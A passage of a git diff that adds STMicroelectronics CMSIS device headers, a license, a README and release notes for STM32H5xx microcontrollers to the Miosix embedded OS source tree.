|| ((__INSTANCE__) == TIM4_S) || \ + ((__INSTANCE__) == TIM5_NS) || ((__INSTANCE__) == TIM5_S) || \ + ((__INSTANCE__) == TIM6_NS) || ((__INSTANCE__) == TIM6_S) || \ + ((__INSTANCE__) == TIM7_NS) || ((__INSTANCE__) == TIM7_S) || \ + ((__INSTANCE__) == TIM8_NS) || ((__INSTANCE__) == TIM8_S) || \ + ((__INSTANCE__) == TIM12_NS) || ((__INSTANCE__) == TIM12_S)|| \ + ((__INSTANCE__) == TIM15_NS) || ((__INSTANCE__) == TIM15_S)) + +/******************** USART Instances : Synchronous mode **********************/ +#define IS_USART_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S)) + +/******************** UART Instances : Asynchronous mode **********************/ +#define IS_UART_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == UART7_NS) || ((INSTANCE) == UART7_S) || \ + ((INSTANCE) == UART8_NS) || ((INSTANCE) == UART8_S) || \ + ((INSTANCE) == UART9_NS) || ((INSTANCE) == UART9_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S) || \ + ((INSTANCE) == UART12_NS) || ((INSTANCE) == UART12_S)) + +/*********************** UART Instances : FIFO mode ***************************/ +#define IS_UART_FIFO_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == UART7_NS) || ((INSTANCE) == UART7_S) || \ + ((INSTANCE) == UART8_NS) || ((INSTANCE) == UART8_S) || \ + ((INSTANCE) == UART9_NS) || ((INSTANCE) == UART9_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S) || \ + ((INSTANCE) == UART12_NS) || ((INSTANCE) == UART12_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/*********************** UART Instances : SPI Slave mode **********************/ +#define IS_UART_SPI_SLAVE_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S)) + +/******************************** I2S Instances *******************************/ +#define IS_I2S_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SPI1) || \ + ((INSTANCE) == SPI2) || \ + ((INSTANCE) == SPI3)) + +/****************** UART Instances : Auto Baud Rate detection ****************/ +#define IS_USART_AUTOBAUDRATE_DETECTION_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == UART7_NS) || ((INSTANCE) == UART7_S) || \ + ((INSTANCE) == UART8_NS) || ((INSTANCE) == UART8_S) || \ + ((INSTANCE) == UART9_NS) || ((INSTANCE) == UART9_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S) || \ + ((INSTANCE) == UART12_NS) || ((INSTANCE) == UART12_S)) + +/****************** UART Instances : Driver Enable *****************/ +#define IS_UART_DRIVER_ENABLE_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == UART7_NS) || ((INSTANCE) == UART7_S) || \ + ((INSTANCE) == UART8_NS) || ((INSTANCE) == UART8_S) || \ + ((INSTANCE) == UART9_NS) || ((INSTANCE) == UART9_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S) || \ + ((INSTANCE) == UART12_NS) || ((INSTANCE) == UART12_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/******************** UART Instances : Half-Duplex mode **********************/ +#define IS_UART_HALFDUPLEX_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == UART7_NS) || ((INSTANCE) == UART7_S) || \ + ((INSTANCE) == UART8_NS) || ((INSTANCE) == UART8_S) || \ + ((INSTANCE) == UART9_NS) || ((INSTANCE) == UART9_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S) || \ + ((INSTANCE) == UART12_NS) || ((INSTANCE) == UART12_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/****************** UART Instances : Hardware Flow control ********************/ +#define IS_UART_HWFLOW_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == UART7_NS) || ((INSTANCE) == UART7_S) || \ + ((INSTANCE) == UART8_NS) || ((INSTANCE) == UART8_S) || \ + ((INSTANCE) == UART9_NS) || ((INSTANCE) == UART9_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S) || \ + ((INSTANCE) == UART12_NS) || ((INSTANCE) == UART12_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/******************** UART Instances : LIN mode **********************/ +#define IS_UART_LIN_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == UART7_NS) || ((INSTANCE) == UART7_S) || \ + ((INSTANCE) == UART8_NS) || ((INSTANCE) == UART8_S) || \ + ((INSTANCE) == UART9_NS) || ((INSTANCE) == UART9_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S) || \ + ((INSTANCE) == UART12_NS) || ((INSTANCE) == UART12_S)) + +/******************** UART Instances : Wake-up from Stop mode **********************/ +#define IS_UART_WAKEUP_FROMSTOP_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == UART7_NS) || ((INSTANCE) == UART7_S) || \ + ((INSTANCE) == UART8_NS) || ((INSTANCE) == UART8_S) || \ + ((INSTANCE) == UART9_NS) || ((INSTANCE) == UART9_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S) || \ + ((INSTANCE) == UART12_NS) || ((INSTANCE) == UART12_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/*********************** UART Instances : IRDA mode ***************************/ +#define IS_IRDA_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == UART7_NS) || ((INSTANCE) == UART7_S) || \ + ((INSTANCE) == UART8_NS) || ((INSTANCE) == UART8_S) || \ + ((INSTANCE) == UART9_NS) || ((INSTANCE) == UART9_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S) || \ + ((INSTANCE) == UART12_NS) || ((INSTANCE) == UART12_S)) + +/********************* USART Instances : Smard card mode ***********************/ +#define IS_SMARTCARD_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S)) + +/******************** LPUART Instance *****************************************/ +#define IS_LPUART_INSTANCE(INSTANCE) (((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/******************** CEC Instance *****************************************/ +#define IS_CEC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == CEC_NS) || ((INSTANCE) == CEC_S)) + +/****************************** IWDG Instances ********************************/ +#define IS_IWDG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == IWDG_NS) || ((INSTANCE) == IWDG_S)) + +/****************************** WWDG Instances ********************************/ +#define IS_WWDG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == WWDG_NS) || ((INSTANCE) == WWDG_S)) + +/****************************** UCPD Instances ********************************/ +#define IS_UCPD_ALL_INSTANCE(INSTANCE) (((INSTANCE) == UCPD1_NS) || ((INSTANCE) == UCPD1_S)) + +/******************************* USB DRD FS HCD Instances *************************/ +#define IS_HCD_ALL_INSTANCE(INSTANCE) (((INSTANCE) == USB_DRD_FS_NS) || ((INSTANCE) == USB_DRD_FS_S)) + +/******************************* USB DRD FS PCD Instances *************************/ +#define IS_PCD_ALL_INSTANCE(INSTANCE) (((INSTANCE) == USB_DRD_FS_NS) || ((INSTANCE) == USB_DRD_FS_S)) + +/** @} */ /* End of group STM32H5xx_Peripheral_Exported_macros */ + +/** @} */ /* End of group STM32H573xx */ + +/** @} */ /* End of group ST */ + +#ifdef __cplusplus +} +#endif + +#endif /* STM32H573xx_H */ diff --git a/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/stm32h5xx.h b/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/stm32h5xx.h new file mode 100644 index 000000000..db0071a0b --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/stm32h5xx.h @@ -0,0 +1,244 @@ +/** + ****************************************************************************** + * @file stm32h5xx.h + * @author MCD Application Team + * @brief CMSIS STM32H5xx Device Peripheral Access Layer Header File. + * + * The file is the unique include file that the application programmer + * is using in the C source code, usually in main.c. This file contains: + * - Configuration section that allows to select: + * - The STM32H5xx device used in the target application + * - To use or not the peripheral’s drivers in application code(i.e. + * code will be based on direct access to peripheral’s registers + * rather than drivers API), this option is controlled by + * "#define USE_HAL_DRIVER" + * + ****************************************************************************** + * @attention + * + * Copyright (c) 2023 STMicroelectronics. + * All rights reserved. + * + * This software is licensed under terms that can be found in the LICENSE file + * in the root directory of this software component. + * If no LICENSE file comes with this software, it is provided AS-IS. + * + ****************************************************************************** + */ + +/** @addtogroup CMSIS + * @{ + */ + +/** @addtogroup stm32h5xx + * @{ + */ + +#ifndef STM32H5xx_H +#define STM32H5xx_H +#include "math.h" + +#ifdef __cplusplus + extern "C" { +#endif /* __cplusplus */ + +/** @addtogroup Library_configuration_section + * @{ + */ + +/** + * @brief STM32 Family + */ +#if !defined (STM32H5) +#define STM32H5 +#endif /* STM32H5 */ + +/* Uncomment the line below according to the target STM32H5 device used in your + application + */ + +#if !defined (STM32H573xx) && !defined (STM32H563xx) \ + && !defined (STM32H562xx) && !defined (STM32H503xx) \ + && !defined (STM32H533xx) && !defined (STM32H523xx) + /* #define STM32H573xx */ /*!< STM32H573xx Devices */ + /* #define STM32H563xx */ /*!< STM32H563xx Devices */ + /* #define STM32H562xx */ /*!< STM32H562xx Devices */ + /* #define STM32H503xx */ /*!< STM32H503xx Devices */ + /* #define STM32H533xx */ /*!< STM32H533xx Devices */ + /* #define STM32H523xx */ /*!< STM32H523xx Devices */ +#endif + +/* Tip: To avoid modifying this file each time you need to switch between these + devices, you can define the device in your toolchain compiler preprocessor. + */ +#if !defined (USE_HAL_DRIVER) +/** + * @brief Comment the line below if you will not use the peripherals drivers. + In this case, these drivers will not be included and the application code will + be based on direct access to peripherals registers + */ + /*#define USE_HAL_DRIVER */ +#endif /* USE_HAL_DRIVER */ + +/** + * @brief CMSIS Device version number 1.3.1 + */ +#define __STM32H5_CMSIS_VERSION_MAIN (0x01) /*!< [31:24] main version */ +#define __STM32H5_CMSIS_VERSION_SUB1 (0x03) /*!< [23:16] sub1 version */ +#define __STM32H5_CMSIS_VERSION_SUB2 (0x01) /*!< [15:8] sub2 version */ +#define __STM32H5_CMSIS_VERSION_RC (0x00) /*!< [7:0] release candidate */ +#define __STM32H5_CMSIS_VERSION ((__STM32H5_CMSIS_VERSION_MAIN << 24U)\ + |(__STM32H5_CMSIS_VERSION_SUB1 << 16U)\ + |(__STM32H5_CMSIS_VERSION_SUB2 << 8U )\ + |(__STM32H5_CMSIS_VERSION_RC)) + +/** + * @} + */ + +/** @addtogroup Device_Included + * @{ + */ +#if defined(STM32H573xx) + #include "stm32h573xx.h" +#elif defined(STM32H563xx) + #include "stm32h563xx.h" +#elif defined(STM32H562xx) + #include "stm32h562xx.h" +#elif defined(STM32H503xx) + #include "stm32h503xx.h" +#elif defined(STM32H523xx) + #include "stm32h523xx.h" +#elif defined(STM32H533xx) + #include "stm32h533xx.h" +#else + #error "Please select first the target STM32H5xx device used in your application (in stm32h5xx.h file)" +#endif + + +/** + * @} + */ + +/** @addtogroup Exported_types + * @{ + */ +typedef enum +{ + RESET = 0, + SET = !RESET +} FlagStatus, ITStatus; + +typedef enum +{ + DISABLE = 0, + ENABLE = !DISABLE +} FunctionalState; +#define IS_FUNCTIONAL_STATE(STATE) (((STATE) == DISABLE) || ((STATE) == ENABLE)) + +typedef enum +{ + SUCCESS = 0, + ERROR = !SUCCESS +} ErrorStatus; + +/** + * @} + */ + + +/** @addtogroup Exported_macros + * @{ + */ +#define SET_BIT(REG, BIT) ((REG) |= (BIT)) + +#define CLEAR_BIT(REG, BIT) ((REG) &= ~(BIT)) + +#define READ_BIT(REG, BIT) ((REG) & (BIT)) + +#define CLEAR_REG(REG) ((REG) = (0x0)) + +#define WRITE_REG(REG, VAL) ((REG) = (VAL)) + +#define READ_REG(REG) ((REG)) + +#define MODIFY_REG(REG, CLEARMASK, SETMASK) WRITE_REG((REG), (((READ_REG(REG)) & (~(CLEARMASK))) | (SETMASK))) + +/* Use of CMSIS compiler intrinsics for register exclusive access */ +/* Atomic 32-bit register access macro to set one or several bits */ +#define ATOMIC_SET_BIT(REG, BIT) \ + do { \ + uint32_t val; \ + do { \ + val = __LDREXW((__IO uint32_t *)&(REG)) | (BIT); \ + } while ((__STREXW(val,(__IO uint32_t *)&(REG))) != 0U); \ + } while(0) + +/* Atomic 32-bit register access macro to clear one or several bits */ +#define ATOMIC_CLEAR_BIT(REG, BIT) \ + do { \ + uint32_t val; \ + do { \ + val = __LDREXW((__IO uint32_t *)&(REG)) & ~(BIT); \ + } while ((__STREXW(val,(__IO uint32_t *)&(REG))) != 0U); \ + } while(0) + +/* Atomic 32-bit register access macro to clear and set one or several bits */ +#define ATOMIC_MODIFY_REG(REG, CLEARMSK, SETMASK) \ + do { \ + uint32_t val; \ + do { \ + val = (__LDREXW((__IO uint32_t *)&(REG)) & ~(CLEARMSK)) | (SETMASK); \ + } while ((__STREXW(val,(__IO uint32_t *)&(REG))) != 0U); \ + } while(0) + +/* Atomic 16-bit register access macro to set one or several bits */ +#define ATOMIC_SETH_BIT(REG, BIT) \ + do { \ + uint16_t val; \ + do { \ + val = __LDREXH((__IO uint16_t *)&(REG)) | (BIT); \ + } while ((__STREXH(val,(__IO uint16_t *)&(REG))) != 0U); \ + } while(0) + +/* Atomic 16-bit register access macro to clear one or several bits */ +#define ATOMIC_CLEARH_BIT(REG, BIT) \ + do { \ + uint16_t val; \ + do { \ + val = __LDREXH((__IO uint16_t *)&(REG)) & ~(BIT); \ + } while ((__STREXH(val,(__IO uint16_t *)&(REG))) != 0U); \ + } while(0) + +/* Atomic 16-bit register access macro to clear and set one or several bits */ +#define ATOMIC_MODIFYH_REG(REG, CLEARMSK, SETMASK) \ + do { \ + uint16_t val; \ + do { \ + val = (__LDREXH((__IO uint16_t *)&(REG)) & ~(CLEARMSK)) | (SETMASK); \ + } while ((__STREXH(val,(__IO uint16_t *)&(REG))) != 0U); \ + } while(0) + +#define POSITION_VAL(VAL) (__CLZ(__RBIT(VAL))) + + +/** + * @} + */ + +#if defined (USE_HAL_DRIVER) + #include "stm32h5xx_hal.h" +#endif /* USE_HAL_DRIVER */ + +#ifdef __cplusplus +} +#endif /* __cplusplus */ + +#endif /* STM32H5xx_H */ +/** + * @} + */ + +/** + * @} + */ diff --git a/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/system_stm32h5xx.h b/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/system_stm32h5xx.h new file mode 100644 index 000000000..a7a5a751f --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/system_stm32h5xx.h @@ -0,0 +1,107 @@ +/** + ****************************************************************************** + * @file system_stm32h5xx.h + * @author MCD Application Team + * @brief CMSIS Cortex-M33 Device System Source File for STM32H5xx devices. + ****************************************************************************** + * @attention + * + * Copyright (c) 2023 STMicroelectronics. + * All rights reserved. + * + * This software is licensed under terms that can be found in the LICENSE file + * in the root directory of this software component. + * If no LICENSE file comes with this software, it is provided AS-IS. + * + ****************************************************************************** + */ + +/** @addtogroup CMSIS + * @{ + */ + +/** @addtogroup stm32h5xx_system + * @{ + */ + +#ifndef SYSTEM_STM32H5XX_H +#define SYSTEM_STM32H5XX_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** @addtogroup STM32H5xx_System_Includes + * @{ + */ + +/** + * @} + */ + +/** @addtogroup STM32H5xx_System_Exported_Variables + * @{ + */ + /* The SystemCoreClock variable is updated in three ways: + 1) by calling CMSIS function SystemCoreClockUpdate() + 2) by calling HAL API function HAL_RCC_GetSysClockFreq() + 3) each time HAL_RCC_ClockConfig() is called to configure the system clock frequency + Note: If you use this function to configure the system clock; then there + is no need to call the 2 first functions listed above, since SystemCoreClock + variable is updated automatically. + */ +extern uint32_t SystemCoreClock; /*!< System Clock Frequency (Core Clock) */ + +extern const uint8_t AHBPrescTable[16]; /*!< AHB prescalers table values */ +extern const uint8_t APBPrescTable[8]; /*!< APB prescalers table values */ + +/** + * @} + */ + + +/** @addtogroup STM32H5xx_System_Exported_Functions + * @{ + */ + +/** + * @brief Setup the microcontroller system. + * + * Initialize the System and update the SystemCoreClock variable. + */ +extern void SystemInit (void); + + +/** + * @brief Update SystemCoreClock variable. + * + * Updates the SystemCoreClock with current core Clock retrieved from cpu registers. + */ +extern void SystemCoreClockUpdate (void); + + +/** + * @brief Update SystemCoreClock variable from secure application and return its value + * when security is implemented in the system (Non-secure callable function). + * + * Returns the SystemCoreClock value with current core Clock retrieved from cpu registers. + */ +extern uint32_t SECURE_SystemCoreClockUpdate(void); + +/** + * @} + */ + +#ifdef __cplusplus +} +#endif + +#endif /* SYSTEM_STM32H5XX_H */ + +/** + * @} + */ + +/** + * @} + */ diff --git a/miosix/arch/CMSIS/Device/ST/STM32H5xx/LICENSE.txt b/miosix/arch/CMSIS/Device/ST/STM32H5xx/LICENSE.txt new file mode 100644 index 000000000..872e82b46 --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32H5xx/LICENSE.txt @@ -0,0 +1,6 @@ +This software component is provided to you as part of a software package and +applicable license terms are in the Package_license file. If you received this +software component outside of a package or without applicable license terms, +the terms of the Apache-2.0 license shall apply. +You may obtain a copy of the Apache-2.0 at: +https://opensource.org/licenses/Apache-2.0 diff --git a/miosix/arch/CMSIS/Device/ST/STM32H5xx/README.md b/miosix/arch/CMSIS/Device/ST/STM32H5xx/README.md new file mode 100644 index 000000000..2f5e76dbb --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32H5xx/README.md @@ -0,0 +1,36 @@ +# STM32CubeH5 CMSIS Device MCU Component + +## Overview + +**STM32Cube** is an STMicroelectronics original initiative to ease the developers life by reducing efforts, time and cost. + +**STM32Cube** covers the overall STM32 products portfolio. It includes a comprehensive embedded software platform delivered for each STM32 series. + * The CMSIS modules (core and device) corresponding to the ARM(tm) core implemented in this STM32 product. + * The STM32 HAL-LL drivers, an abstraction layer offering a set of APIs ensuring maximized portability across the STM32 portfolio. + * The BSP drivers of each evaluation, demonstration or nucleo board provided for this STM32 series. + * A consistent set of middleware libraries such as FileX, USBX, TheadX ... + * A full set of software projects (basic examples, applications, and demonstrations) for each board provided for this STM32 series. + +Two models of publication are proposed for the STM32Cube embedded software: + * The monolithic **MCU Package**: all STM32Cube software modules of one STM32 series are present (Drivers, Middleware, Projects, Utilities) in the repository (usual name **STM32Cubexx**, xx corresponding to the STM32 series). + * The **MCU component**: each STM32Cube software module being part of the STM32Cube MCU Package, is delivered as an individual repository, allowing the user to select and get only the required software functions. + +## Description + +This **cmsis_device_h5** MCU component repo is one element of the STM32CubeH5 MCU embedded software package, providing the **cmsis device** part. + +## Release note + +Details about the content of this release are available in the release note [here](https://htmlpreview.github.io/?https://github.com/STMicroelectronics/cmsis_device_h5/blob/main/Release_Notes.html). + +## Compatibility information + +It is **crucial** that you use a consistent set of versions for the CMSIS Core - CMSIS Device, as mentioned in [this](https://htmlpreview.github.io/?https://github.com/STMicroelectronics/STM32CubeH5/blob/main/Release_Notes.html) release note. + +The full **STM32CubeH5** MCU package is available [here](https://github.com/STMicroelectronics/STM32CubeH5). + +## Troubleshooting + +If you have any issue with the software content of this repository, you can file an issue [here](https://github.com/STMicroelectronics/cmsis_device_h5/issues/new). + +For any other question related to the product, the tools, the environment, you can submit a topic on the [ST Community/STM32 MCUs forum](https://community.st.com/s/group/0F90X000000AXsASAW/stm32-mcus). diff --git a/miosix/arch/CMSIS/Device/ST/STM32H5xx/Release_Notes.html b/miosix/arch/CMSIS/Device/ST/STM32H5xx/Release_Notes.html new file mode 100644 index 000000000..7e68b547b --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32H5xx/Release_Notes.html @@ -0,0 +1,106 @@ + + + + + + + Release Notes for STM32H5xx CMSIS + + + + + + +
+
+
+

Release Notes for  STM32H5xx CMSIS

+

Copyright © 2023 STMicroelectronics
+

+ +
+
+
+

Update History

+
+ +
+

Main Changes

+

CMSIS Device Maintenance Release version of bits and registers definition aligned with RM0481 (STM32H5 reference manual)

+
    +
  • Update to use #include "core_cm33.h" instead of #include <core_cm33.h> to force the first searches for the core_cm33.h file in the same directory as the file that contains the #include directive (Drivers\CMSIS\Core\Include)
    • +
  • Update IS_SPI_LIMITED macro to return an essential boolean
    • +
+
+
+
+ +
+

Main Changes

+

CMSIS Device Maintenance Release version of bits and registers definition aligned with RM0481 (STM32H5 reference manual)

+
    +
  • Add RNG_CR_NIST_VALUE, RNG_NSCR_NIST_VALUE and RNG_HTCR_NIST_VALUE defines
    • +
  • Add Bits definition for RNG_NSCR register : Add RNG_NSCR_EN_OSC1, RNG_NSCR_EN_OSC2, RNG_NSCR_EN_OSC3, RNG_NSCR_EN_OSC4, RNG_NSCR_EN_OSC5 and RNG_NSCR_EN_OSC6 defines
    • +
  • Add USART_DMAREQUESTS_SW_WA define
    • +
  • Rename EXTI_RTSR2_TR to EXTI_RTSR2_RT define
    • +
  • Rename EXTI_FTSR2_TR to EXTI_FTSR2_FT define
    • +
  • Remove unused ADC common status and ADC common group regular data registers for STM32H503xx devices
    • +
  • Fix __SAUREGION_PRESENT value to 0 for STM32H503xx devices
    • +
  • Fix incorrect character in the definition of OCTOSPI_CR register
    • +
  • Correct TIM_CCRx_CCRx constants
    • +
+
+
+
+ +
+

Main Changes

+
    +
  • First official release of STM32H5xx CMSIS drivers to support STM32H533xx and STM32H523xx devices
    • +
  • Add bit definition for I3C_BCR register
    • +
  • Add IS_DMA_PFREQ_INSTANCE macro
    • +
  • Fix Ticket 163445: [FLASH][CMSIS] Wrong EDATA_STRT start sectors mask size
    • +
  • Fix Ticket 163090: [FOSS-Audit] Licensing issues: Missing copyright from Arm Limited and original header not retained
    • +
  • Update CubeIDE projects to be compliant with GCC12 diagnostics
    • +
  • Fix Ticket 165407: [H5][GTZC][CMSIS]: wrong Flash illegal access bit definition
    • +
  • Fix Ticket 147880: [STM32H5]|FLASH_HAL] Some option bytes are missing in stm32h5xx_hal_flash_ex.h
    • +
  • Set FMC_SDCMR_MODE_2 bit field definition to 0x4
    • +
  • Fix Ticket 162902: [GitHub] Wrong declaration of g_pfnVectors size in gcc/startup files
    • +
  • Fix: Ticket 167776: [CMSIS] Missing TIM option register related definitions
    • +
+
+
+
+ +
+

Main Changes

+
    +
  • Add DUA addresses constants definitions for STM32H573xx devices only
    • +
  • Fix wrong definition of IS_TIM_CLOCKSOURCE_TIX_INSTANCE & IS_TIM_TISEL_INSTANCE macros
    • +
  • Update possible values of the ATCKSEL field of TAMP active tamper control register and update the mask accordingly.
    • +
+
+
+
+ +
+

Main Changes

+
    +
  • First official release version of bits and registers definition aligned with RM0481 and RM0492 (STM32H5 reference manuals)
    • +
+
+
+
+
+
+For complete documentation on STM32 Microcontrollers , visit: www.st.com/stm32 +
+ + diff --git a/miosix/arch/CMSIS/Device/ST/STM32H5xx/Source/Templates/system_stm32h5xx.cpp b/miosix/arch/CMSIS/Device/ST/STM32H5xx/Source/Templates/system_stm32h5xx.cpp new file mode 100644 index 000000000..4779d04ea --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32H5xx/Source/Templates/system_stm32h5xx.cpp @@ -0,0 +1,400 @@ +/** + ****************************************************************************** + * @file system_stm32h5xx.c + * @author MCD Application Team + * @brief CMSIS Cortex-M33 Device Peripheral Access Layer System Source File + * + ****************************************************************************** + * @attention + * + * Copyright (c) 2023 STMicroelectronics. + * All rights reserved. + * + * This software is licensed under terms that can be found in the LICENSE file + * in the root directory of this software component. + * If no LICENSE file comes with this software, it is provided AS-IS. + * + ****************************************************************************** + * This file provides two functions and one global variable to be called from + * user application: + * - SystemInit(): This function is called at startup just after reset and + * before branch to main program. This call is made inside + * the "startup_stm32h5xx.s" file. + * + * - SystemCoreClock 